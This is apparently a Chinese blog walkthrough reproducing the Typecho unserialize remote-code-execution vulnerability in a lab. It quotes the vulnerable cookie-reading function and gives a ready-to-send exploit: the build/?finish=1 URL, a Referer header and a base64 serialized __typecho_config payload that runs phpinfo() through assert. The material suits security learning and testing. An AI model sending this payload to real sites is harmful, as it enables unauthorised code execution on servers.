typecho反序列化漏洞复现

时间:2024-11-11 07:22:55

 「作者简介」:冬奥会网络安全中国代表队,**** Top100,就职奇安信多年,以实战工作为基础著作 《网络安全自学教程》,适合基础薄弱的同学系统化的学习网络安全,用最短的时间掌握最核心的技术。

typecho框架存在反序列化漏洞,利用此漏洞可执行任意代码

环境搭建

第一步

 第二步

 第三步

 第三步

 第四步

 第五步

 第六步

 第七步

 第八步

 第九步

 漏洞分析

typecho\build\ 文件中 , 使用unserialize()进行反序列化 , 并使用base64进行编码 , 序列化的内容通过 Typech_Cookie 的 get()函数获取

 ypecho_Cookie的get函数从cookie或者post中获取参数

public static function get($key, $default = NULL)
{
    $key = self::$_prefix . $key;
    $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
    return is_array($value) ? $default : $value;
}

但执行这些代码前,需要先满足两个条件

漏洞复现

第一步

 第二步

 使用抓包工具( 此处使用Burp Suite工具 )构造恶意参数

 如果Burp Suite里直接编写post请求不生效,可配合火狐浏览器的插件HacKBar

 payload

finish参数

http://192.168.232.130/typecho/build/?finish=1

Referer

Referer: http://192.168.232.130

Post请求参数内容

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUxMTc5NTIwMTtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=